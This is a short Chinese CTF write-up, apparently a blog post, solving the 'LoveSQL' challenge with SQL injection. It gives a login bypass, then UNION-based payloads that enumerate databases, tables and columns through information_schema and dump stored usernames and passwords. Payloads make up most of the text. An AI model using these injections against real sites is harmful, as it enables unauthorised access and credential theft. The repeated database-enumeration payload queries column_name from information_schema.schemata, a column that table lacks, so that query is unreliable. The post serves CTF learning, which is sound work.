[极客大挑战 2019]LoveSQL

一道基础的SQL注入题目

笔记:

爆破数据库:union select 1,2,group_concat(column_name)  from information_schema.schemata%23 

爆破表名   :union select 1,2,group_concat(table_name)  from information_schema.tables where table_schema='数据库名字'%23

爆破字段名:union select 1,2,group_concat(column_name)  from information_schema.columns where table_name='数据表名'%23   

 

首先进入到页面,看到输入用户名密码,直接一个万能密码得到用户名admin密码是一串md5加密的数据,可以尝试md5碰撞,但我试了没对

那就老老实实的sql注入,先尝试是单引号还是双引号注释(user是单引号,用password是双引号)

构造order by语句:username=admin‘ order by 3%23&password=1(因为是输入在url上,所以不能直接输#)

输入4就报错,所以只有三个注入点,用username=1' union select 1,2,3%23&password=1得知注入点的位置在2,3

然后就爆破库:?username=1' union select 1,2,group_concat(column_name)  from information_schema.schemata%23&password=1

爆破表:?username=1'union select 1,2,group_concat(table_name)  from information_schema.tables where table_schema='geek'%23&password=1

字段:?username=1'union select 1,2,group_concat(column_name)  from information_schema.columns where table_name='l0ve1ysq1'%23&password=1

然后直接:?username=1'union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

posted @ 2022-01-19 12:32  L0VEhzzz  阅读(31)  评论(0编辑  收藏  举报